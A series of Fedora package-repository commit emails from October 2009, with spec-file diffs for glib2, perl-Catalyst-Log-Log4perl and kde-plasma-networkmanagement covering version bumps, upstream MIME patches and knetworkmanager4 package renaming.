retrieving revision 1.227
retrieving revision 1.228
diff -u -p -r1.227 -r1.228
--- glib2.spec	7 Oct 2009 14:58:59 -0000	1.227
+++ glib2.spec	25 Oct 2009 07:02:11 -0000	1.228
@@ -3,7 +3,7 @@
 Summary: A library of handy utility functions
 Name: glib2
 Version: 2.22.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -21,6 +21,10 @@ BuildRequires: glibc-devel
 BuildRequires: automake autoconf libtool
 BuildRequires: gtk-doc
 
+# from upstream
+Patch0: 0001-xdgmime-sort-glob-hits-with-larger-weight-first.patch
+Patch1: 0007-Don-t-give-up-too-early-when-collecting-mime-types.patch
+
 %description
 GLib is the low-level core library that forms the basis
 for projects such as GTK+ and GNOME. It provides data structure
@@ -52,6 +56,8 @@ of version 2 of the GLib library.
 
 %prep
 %setup -q -n glib-%{version}
+%patch0 -p1 -b .mime-weight
+%patch1 -p1 -b .mime-matches
 
 %build
 %configure --disable-gtk-doc --enable-static --with-runtime-libdir=../../%{_lib}
@@ -122,6 +128,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/lib*.a
 
 %changelog
+* Sun Oct 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.22.2-2
+- Fix two problems with mime type detection in GIO
+
 * Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.22.2-1
 - Update to 2.22.2
 



From iarnell at fedoraproject.org  Sun Oct 25 07:37:24 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 25 Oct 2009 07:37:24 +0000 (UTC)
Subject: rpms/perl-Catalyst-Log-Log4perl/devel .cvsignore, 1.4,
	1.5 perl-Catalyst-Log-Log4perl.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091025073724.9628111C00E5@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Log-Log4perl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17361

Modified Files:
	.cvsignore perl-Catalyst-Log-Log4perl.spec sources 
Log Message:
* Sun Oct 25 2009 Iain Arnell <iarnell at gmail.com> 1.04-1
- update to latest upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Log-Log4perl/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	8 Apr 2009 15:26:45 -0000	1.4
+++ .cvsignore	25 Oct 2009 07:37:23 -0000	1.5
@@ -1 +1 @@
-Catalyst-Log-Log4perl-1.03.tar.gz
+Catalyst-Log-Log4perl-1.04.tar.gz


Index: perl-Catalyst-Log-Log4perl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Log-Log4perl/devel/perl-Catalyst-Log-Log4perl.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Catalyst-Log-Log4perl.spec	26 Jul 2009 04:11:11 -0000	1.5
+++ perl-Catalyst-Log-Log4perl.spec	25 Oct 2009 07:37:23 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           perl-Catalyst-Log-Log4perl
-Version:        1.03
-Release:        2%{?dist}
+Version:        1.04
+Release:        1%{?dist}
 Summary:        Log::Log4perl logging for Catalyst
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -11,10 +11,9 @@ BuildArch:      noarch
 BuildRequires:  perl(Catalyst) >= 5.60
 BuildRequires:  perl(Data::Dump)
 BuildRequires:  perl(ExtUtils::MakeMaker)
-BuildRequires:  perl(Log::Log4perl) >= 0.49
+BuildRequires:  perl(Log::Log4perl) >= 1.04
 BuildRequires:  perl(MRO::Compat)
 BuildRequires:  perl(Params::Validate)
-BuildRequires:  perl(Sub::Install)
 BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
@@ -26,7 +25,7 @@ as the underlying log mechanism. 
 %setup -q -n Catalyst-Log-Log4perl-%{version}
 
 %build
-%{__perl} Makefile.PL INSTALLDIRS=vendor
+PERL5_CPANPLUS_IS_RUNNING=1 %{__perl} Makefile.PL INSTALLDIRS=vendor
 make %{?_smp_mflags}
 
 %install
@@ -52,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 25 2009 Iain Arnell <iarnell at gmail.com> 1.04-1
+- update to latest upstream
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Log-Log4perl/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Apr 2009 15:26:45 -0000	1.4
+++ sources	25 Oct 2009 07:37:23 -0000	1.5
@@ -1 +1 @@
-23b26077d4e943389dee279026363dc9  Catalyst-Log-Log4perl-1.03.tar.gz
+c747b4c1a97feebf62ee6aa956798148  Catalyst-Log-Log4perl-1.04.tar.gz



From kkofler at fedoraproject.org  Sun Oct 25 08:01:46 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 25 Oct 2009 08:01:46 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/devel
	kde-plasma-networkmanagement.spec, 1.21, 1.22
Message-ID: <20091025080147.2EB7911C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24974/devel

Modified Files:
	kde-plasma-networkmanagement.spec 
Log Message:
* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel/kde-plasma-networkmanagement.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- kde-plasma-networkmanagement.spec	30 Sep 2009 15:27:43 -0000	1.21
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 08:01:44 -0000	1.22
@@ -1,13 +1,22 @@
+%if 0%{?fedora} && 0%{?fedora} < 11
+%define have_knm3 1
+%endif
 
 %define disclaimer \
 This is alpha software with known issues.\
 We still recommend nm-applet from NetworkManager-gnome for production use.
 
+%if 0%{?have_knm3}
+%define knetworkmanager knetworkmanager4
+%else
+%define knetworkmanager knetworkmanager
+%endif
+
 Name:           kde-plasma-networkmanagement
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.3.20090930svn%{?dist}
+Release:        0.4.20090930svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -34,49 +43,63 @@ Requires: NetworkManager
 Obsoletes: kde-plasma-networkmanagement < 0.1-0.21
 Obsoletes: kde-plasma-networkmanagement-devel < 0.1-0.21
 
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description
 A Plasma applet to control your wired and wireless network(s) in KDE 4 using
 the default NetworkManager service.
 %{?disclaimer}
 
-%package -n knetworkmanager
+%package -n %{knetworkmanager}
 Summary: NetworkManager KDE 4 integration
 Group: Applications/Internet
-Requires: knetworkmanager-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager
+Requires: %{knetworkmanager}-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+%if 0%{?have_knm3}
+Conflicts: knetworkmanager < 0.8
+%else
+Obsoletes: knetworkmanager4 < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}
 KNetworkManager is a system tray applet for controlling network
 connections on systems that use the NetworkManager daemon.
 %{?disclaimer}
 
-%package -n knetworkmanager-libs
+%package -n %{knetworkmanager}-libs
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 #Requires: kdelibs4%{?_isa} >= %{kde4_version}
-%description -n knetworkmanager-libs
+%if ! 0%{?have_knm3}
+Obsoletes: knetworkmanager4-libs < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-libs
 %{summary}.
 
-%package -n knetworkmanager-openvpn
-Summary:        OpenVPN support for knetworkmanager
+%package -n %{knetworkmanager}-openvpn
+Summary:        OpenVPN support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-openvpn
 Obsoletes:      kde-plasma-networkmanagement-openvpn < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-openvpn = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager-openvpn
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-openvpn < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-openvpn
 %{summary}.
 %{?disclaimer}
 
-%package -n knetworkmanager-vpnc
-Summary:        Vpnc support for knetworkmanager
+%package -n %{knetworkmanager}-vpnc
+Summary:        Vpnc support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-vpnc
 Obsoletes:      kde-plasma-networkmanagement-vpnc < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-vpnc = %{?epoch:%{epoch}:}%{version}-%{release} 
-%description -n knetworkmanager-vpnc
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-vpnc < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-vpnc
 %{summary}.
 %{?disclaimer}
 
@@ -109,11 +132,11 @@ rm -fv %{buildroot}%{_kde4_libdir}/libkn
 rm -rf %{buildroot}
 
 
-%post -n knetworkmanager
+%post -n %{knetworkmanager}
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null || :
 touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
 
-%postun -n knetworkmanager
+%postun -n %{knetworkmanager}
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null
   touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
@@ -121,16 +144,16 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 fi
 
-%posttrans -n knetworkmanager
+%posttrans -n %{knetworkmanager}
 gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
 gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 
-%post -n knetworkmanager-libs -p /sbin/ldconfig
+%post -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
-%postun -n knetworkmanager-libs -p /sbin/ldconfig
+%postun -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
 
-%files -n knetworkmanager
+%files -n %{knetworkmanager}
 %defattr(-,root,root,-)
 %doc TODO DESIGN COPYING COPYING.LIB
 %{_sysconfdir}/dbus-1/system.d/NetworkManager-kde4.conf
@@ -149,7 +172,7 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_datadir}/autostart/kde4-knetworkmanager-autostart.desktop
 %{_kde4_datadir}/applications/kde4/knetworkmanager.desktop
 
-%files -n knetworkmanager-libs
+%files -n %{knetworkmanager}-libs
 %defattr(-,root,root,-)
 %{_kde4_libdir}/libknmclient.so.4*
 %{_kde4_libdir}/libknminternals.so.4*
@@ -159,12 +182,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_libdir}/libknm_nm.so
 %{_kde4_libdir}/libsolidcontrolfuture.so
 
-%files -n knetworkmanager-openvpn
+%files -n %{knetworkmanager}-openvpn
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_openvpnui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_openvpnui.desktop
 
-%files -n knetworkmanager-vpnc
+%files -n %{knetworkmanager}-vpnc
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_vpncui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_vpncui.desktop
@@ -180,6 +203,10 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
+- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
+- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+
+
 * Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.3.20090930svn
 - New snapshot
 



From kkofler at fedoraproject.org  Sun Oct 25 08:05:02 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 25 Oct 2009 08:05:02 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-10
	kde-plasma-networkmanagement-0.9-desktop.patch, NONE,
	1.1 kde-plasma-networkmanagement.spec, 1.4, 1.5
Message-ID: <20091025080502.0A46611C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25702/F-10

Modified Files:
	kde-plasma-networkmanagement.spec 
Added Files:
	kde-plasma-networkmanagement-0.9-desktop.patch 
Log Message:
Sync new snapshot from devel. We may have to push this because F10 is getting a new NM which breaks WPA in the old kde-plasma-nm. :-(

* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+

* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.3.20090930svn
- New snapshot

* Mon Sep 21 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.2.20090919svn
- Add back missing Requires:

* Mon Sep 21 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.1.20090919svn
- Version seems to be .9 now
- Fix trailing spaces
- New snapshot

* Tue Sep 15 2009 Rex Dieter <rdieter at fedoraproject.org> 1:0.8-0.22.20090815svn
- Epoch: 1

* Fri Aug 28 2009 Rex Dieter <rdieter at fedoraproject.org> 0.8-0.21.20090815svn
- use knetworkmanager pkg names
- quasi-artificially inflate version to 0.8 (for now), to simplify upgrade path
  for knetworkmanager-0.7 (from F-10)
- nuke -devel pkg
- drop references to short-lived kde-plasma-networkmanager

* Sat Aug 15 2009 Rex Dieter <rdieter at fedoraproject.org> 0.1-0.20.20090815svn
- New snapshot
- optimize scriptlets
- -libs subpkg, multilib-friendly

* Mon Jul 27 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.19.20090726svn
- Add BR on kdelibs-experimental-devel

* Mon Jul 27 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.18.20090726svn
- New snapshot

* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-0.17.20090602svn
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Tue Jun 09 2009 Rex Dieter <rdieter at fedoraproject.org> 0.1-0.16.20090602svn
- Requires: NetworkManager

kde-plasma-networkmanagement-0.9-desktop.patch:
 kded/networkmanagement.desktop           |    2 +-
 monolithic/knetworkmanager.desktop       |    2 +-
 settings/service/knetworkmanager.desktop |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE kde-plasma-networkmanagement-0.9-desktop.patch ---
diff -r -U5 kde-plasma-networkmanagement-0.9/kded/networkmanagement.desktop kde-plasma-networkmanagement-0.9.desktop/kded/networkmanagement.desktop
--- kde-plasma-networkmanagement-0.9/kded/networkmanagement.desktop	2009-09-24 05:38:22.000000000 -0400
+++ kde-plasma-networkmanagement-0.9.desktop/kded/networkmanagement.desktop	2009-09-30 11:17:27.000000000 -0400
@@ -45,6 +45,6 @@
 X-KDE-ModuleType=Library
 X-KDE-Library=networkmanagement
 X-KDE-DBus-ModuleName=networkmanagement
 X-KDE-Kded-autoload=false
 X-KDE-Kded-load-on-demand=true
-OnlyShowIn=KDE
+OnlyShowIn=KDE;
diff -r -U5 kde-plasma-networkmanagement-0.9/monolithic/knetworkmanager.desktop kde-plasma-networkmanagement-0.9.desktop/monolithic/knetworkmanager.desktop
--- kde-plasma-networkmanagement-0.9/monolithic/knetworkmanager.desktop	2009-09-24 05:38:22.000000000 -0400
+++ kde-plasma-networkmanagement-0.9.desktop/monolithic/knetworkmanager.desktop	2009-09-30 11:16:50.000000000 -0400
@@ -64,6 +64,6 @@
 X-KDE-StartupNotify=false
 X-KDE-UniqueApplet=true
 X-DCOP-ServiceType=Unique
 X-KDE-autostart-condition=networkmanagementrc:General:Autostart:true
 Categories=Utility;TrayIcon;System;Applet;
-
+OnlyShowIn=KDE;
diff -r -U5 kde-plasma-networkmanagement-0.9/settings/service/knetworkmanager.desktop kde-plasma-networkmanagement-0.9.desktop/settings/service/knetworkmanager.desktop
--- kde-plasma-networkmanagement-0.9/settings/service/knetworkmanager.desktop	2009-09-21 05:35:32.000000000 -0400
+++ kde-plasma-networkmanagement-0.9.desktop/settings/service/knetworkmanager.desktop	2009-09-30 11:16:50.000000000 -0400
@@ -52,6 +52,6 @@
 X-KDE-ModuleType=Library
 X-KDE-Library=knetworkmanager
 X-KDE-DBus-ModuleName=knetworkmanager
 X-KDE-Kded-autoload=false
 X-KDE-Kded-load-on-demand=true
-OnlyShowIn=KDE
+OnlyShowIn=KDE;


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-10/kde-plasma-networkmanagement.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- kde-plasma-networkmanagement.spec	4 Jun 2009 03:11:27 -0000	1.4
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 08:05:01 -0000	1.5
@@ -1,86 +1,112 @@
+%if 0%{?fedora} && 0%{?fedora} < 11
+%define have_knm3 1
+%endif
+
+%define disclaimer \
+This is alpha software with known issues.\
+We still recommend nm-applet from NetworkManager-gnome for production use.
+
+%if 0%{?have_knm3}
+%define knetworkmanager knetworkmanager4
+%else
+%define knetworkmanager knetworkmanager
+%endif
+
 Name:           kde-plasma-networkmanagement
-Version:        0.1
-Release:        0.15.20090602svn%{?dist}
+# to be a higher, natural upgrade from F-10's knetworkmanager-0.7
+Epoch:          1
+Version:        0.9
+Release:        0.4.20090930svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
-Group:          User Interface/Desktops
+Group:          Applications/Internet
 License:        (GPLv2 or GPLv3) and GPLv2+ and LGPLv2+ and LGPLv2
 URL:            http://websvn.kde.org/trunk/playground/base/plasma/applets/networkmanager/
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn export -r 977393 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.1
-#  tar -c kde-plasma-networkmanagement-0.1 | bzip2 --best -c > kde-plasma-networkmanagement-0.1.tar.bz2
+#  svn export -r 1029690 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
+#  tar -c kde-plasma-networkmanagement-0.9 | bzip2 --best -c > kde-plasma-networkmanagement-0.9.tar.bz2
 Source0:        %{name}-%{version}.tar.bz2
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+# Patch to get .desktop files validated
+Patch0:         %{name}-%{version}-desktop.patch
 
-BuildRequires:  kdebase-workspace-devel >= 4.1.96
+BuildRequires:  kdelibs-experimental-devel
+BuildRequires:  kdebase-workspace-devel >= 4.3.0
 BuildRequires:  NetworkManager-glib-devel >= 0.7.0
 BuildRequires:  PolicyKit-devel
 
-Obsoletes:      kde-plasma-networkmanager < %{version}-%{release}
-Provides:       kde-plasma-networkmanager = %{version}-%{release}
-%if 0%{?fedora} > 10
-Obsoletes:      knetworkmanager < 1:%{version}-%{release}
-Provides:       knetworkmanager = 1:%{version}-%{release}
-%endif
+Requires: NetworkManager
+
+# multilib upgrades
+Obsoletes: kde-plasma-networkmanagement < 0.1-0.21
+Obsoletes: kde-plasma-networkmanagement-devel < 0.1-0.21
+
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description
 A Plasma applet to control your wired and wireless network(s) in KDE 4 using
-the default NetworkManager service. This is alpha software with known issues.
-We still recommend nm-applet from NetworkManager-gnome for production use.
+the default NetworkManager service.
+%{?disclaimer}
 
-%package devel
-Summary:        Files needed to develop programs which use the Network Manager plasmoid
-Group:          Development/Libraries
-Requires:       %{name} = %{version}-%{release}
-Requires:       kdebase-workspace-devel
-Requires:       NetworkManager-glib-devel
-
-Obsoletes:      kde-plasma-networkmanager-devel < %{version}-%{release}
-Provides:       kde-plasma-networkmanager-devel = %{version}-%{release}
-%if 0%{?fedora} > 10
-Obsoletes:      knetworkmanager-devel < 1:%{version}-%{release}
-Provides:       knetworkmanager-devel = 1:%{version}-%{release}
+%package -n %{knetworkmanager}
+Summary: NetworkManager KDE 4 integration
+Group: Applications/Internet
+Requires: %{knetworkmanager}-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+%if 0%{?have_knm3}
+Conflicts: knetworkmanager < 0.8
+%else
+Obsoletes: knetworkmanager4 < %{?epoch:%{epoch}:}%{version}-%{release}
 %endif
-
-%description devel
+%description -n %{knetworkmanager}
+KNetworkManager is a system tray applet for controlling network
+connections on systems that use the NetworkManager daemon.
+%{?disclaimer}
+
+%package -n %{knetworkmanager}-libs
+Summary: Runtime libraries for %{name}
+Group:   System Environment/Libraries
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
+#Requires: kdelibs4%{?_isa} >= %{kde4_version}
+%if ! 0%{?have_knm3}
+Obsoletes: knetworkmanager4-libs < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-libs
 %{summary}.
 
-%package openvpn
-Summary:        Libraries for the Network Manager plasmoid to use OpenVPN
-Group:          User Interface/Desktops
-Requires:       %{name} = %{version}-%{release}
+%package -n %{knetworkmanager}-openvpn
+Summary:        OpenVPN support for %{knetworkmanager}
+Group:          Applications/Internet
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-openvpn
-
-Obsoletes:      kde-plasma-networkmanager-openvpn < %{version}-%{release}
-Provides:       kde-plasma-networkmanager-openvpn = %{version}-%{release}
-%if 0%{?fedora} > 10
-Obsoletes:      knetworkmanager-openvpn < 1:%{version}-%{release}
-Provides:       knetworkmanager-openvpn = 1:%{version}-%{release}
+Obsoletes:      kde-plasma-networkmanagement-openvpn < %{?epoch:%{epoch}:}%{version}-%{release} 
+Provides:       kde-plasma-networkmanagement-openvpn = %{?epoch:%{epoch}:}%{version}-%{release}
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-openvpn < %{?epoch:%{epoch}:}%{version}-%{release}
 %endif
-
-%description openvpn
+%description -n %{knetworkmanager}-openvpn
 %{summary}.
+%{?disclaimer}
 
-%package vpnc
-Summary:        Libraries for the Network Manager plasmoid to use vpnc
-Group:          User Interface/Desktops
-Requires:       %{name} = %{version}-%{release}
+%package -n %{knetworkmanager}-vpnc
+Summary:        Vpnc support for %{knetworkmanager}
+Group:          Applications/Internet
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-vpnc
-
-Obsoletes:      kde-plasma-networkmanager-vpnc < %{version}-%{release}
-Provides:       kde-plasma-networkmanager-vpnc = %{version}-%{release}
-%if 0%{?fedora} > 10
-Obsoletes:      knetworkmanager-vpnc < 1:%{version}-%{release}
-Provides:       knetworkmanager-vpnc = 1:%{version}-%{release}
+Obsoletes:      kde-plasma-networkmanagement-vpnc < %{?epoch:%{epoch}:}%{version}-%{release} 
+Provides:       kde-plasma-networkmanagement-vpnc = %{?epoch:%{epoch}:}%{version}-%{release} 
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-vpnc < %{?epoch:%{epoch}:}%{version}-%{release}
 %endif
-
-%description vpnc
+%description -n %{knetworkmanager}-vpnc
 %{summary}.
+%{?disclaimer}
 
 
 %prep
 %setup -q
+%patch0 -p1 -b .desktop
 
 
 %build
@@ -88,66 +114,137 @@ mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} .. -DDBUS_SYSTEM_POLICY_DIR=%{_sysconfdir}/dbus-1/system.d
 popd
-make %{?_smp_mflags} -C %{_target_platform} VERBOSE=1
+
+make %{?_smp_mflags} -C %{_target_platform}
 
 
 %install
 rm -rf %{buildroot}
+
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot} PREFIX=%{_prefix}
 
+## unpackaged files
+# nuke -devel type stuff for which there isn't a public API
+rm -fv %{buildroot}%{_kde4_libdir}/libknm{client,internals,service,ui}.so
+
 
 %clean
 rm -rf %{buildroot}
 
 
-%post
-/sbin/ldconfig
-xdg-icon-resource forceupdate --theme oxygen 2> /dev/null || :
+%post -n %{knetworkmanager}
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null || :
+touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
+
+%postun -n %{knetworkmanager}
+if [ $1 -eq 0 ] ; then
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null
+  touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
+  gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null
+  gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
+fi
 
+%posttrans -n %{knetworkmanager}
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
+gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 
-%postun
-/sbin/ldconfig
-xdg-icon-resource forceupdate --theme oxygen 2> /dev/null || :
+%post -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
+%postun -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
-%files
+
+%files -n %{knetworkmanager}
 %defattr(-,root,root,-)
-%doc TODO DESIGN
+%doc TODO DESIGN COPYING COPYING.LIB
 %{_sysconfdir}/dbus-1/system.d/NetworkManager-kde4.conf
 %{_kde4_libdir}/kde4/kcm_networkmanagement.so
-%{_kde4_libdir}/kde4/kded_knetworkmanager.so
-%{_kde4_libdir}/kde4/plasma_applet_networkmanagement.so
-%{_kde4_libdir}/libknmdbus.so.4*
-%{_kde4_libdir}/libknmstorage.so.4*
-%{_kde4_libdir}/libknmui.so.4*
+%{_kde4_libdir}/kde4/networkmanagement_pptpui.so
 %{_kde4_libexecdir}/networkmanagement_configshell
-%{_kde4_iconsdir}/oxygen/32x32/actions/accesspoint.png
+%{_kde4_iconsdir}/hicolor/*/*/*
+%{_kde4_iconsdir}/oxygen/*/*/*
 %{_kde4_appsdir}/desktoptheme/default/networkmanagement/networkmanagement-wireless.svgz
 %{_kde4_appsdir}/desktoptheme/default/networkmanagement/networkmanagement.svg
 %{_kde4_appsdir}/networkmanagement/
 %{_kde4_datadir}/kde4/services/kcm_networkmanagement.desktop
-%{_kde4_datadir}/kde4/services/kded/knetworkmanager.desktop
-%{_kde4_datadir}/kde4/services/plasma-applet-networkmanagement.desktop
+%{_kde4_datadir}/kde4/services/networkmanagement_pptpui.desktop
 %{_kde4_datadir}/kde4/servicetypes/networkmanagement_vpnuiplugin.desktop
+%{_kde4_bindir}/knetworkmanager
+%{_kde4_datadir}/autostart/kde4-knetworkmanager-autostart.desktop
+%{_kde4_datadir}/applications/kde4/knetworkmanager.desktop
 
-%files devel
+%files -n %{knetworkmanager}-libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/libknmdbus.so
-%{_kde4_libdir}/libknmstorage.so
-%{_kde4_libdir}/libknmui.so
+%{_kde4_libdir}/libknmclient.so.4*
+%{_kde4_libdir}/libknminternals.so.4*
+%{_kde4_libdir}/libknmservice.so.4*
+%{_kde4_libdir}/libknmui.so.4*
+# Unversioned libraries
+%{_kde4_libdir}/libknm_nm.so
+%{_kde4_libdir}/libsolidcontrolfuture.so
 
-%files openvpn
+%files -n %{knetworkmanager}-openvpn
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_openvpnui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_openvpnui.desktop
 
-%files vpnc
+%files -n %{knetworkmanager}-vpnc
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_vpncui.so
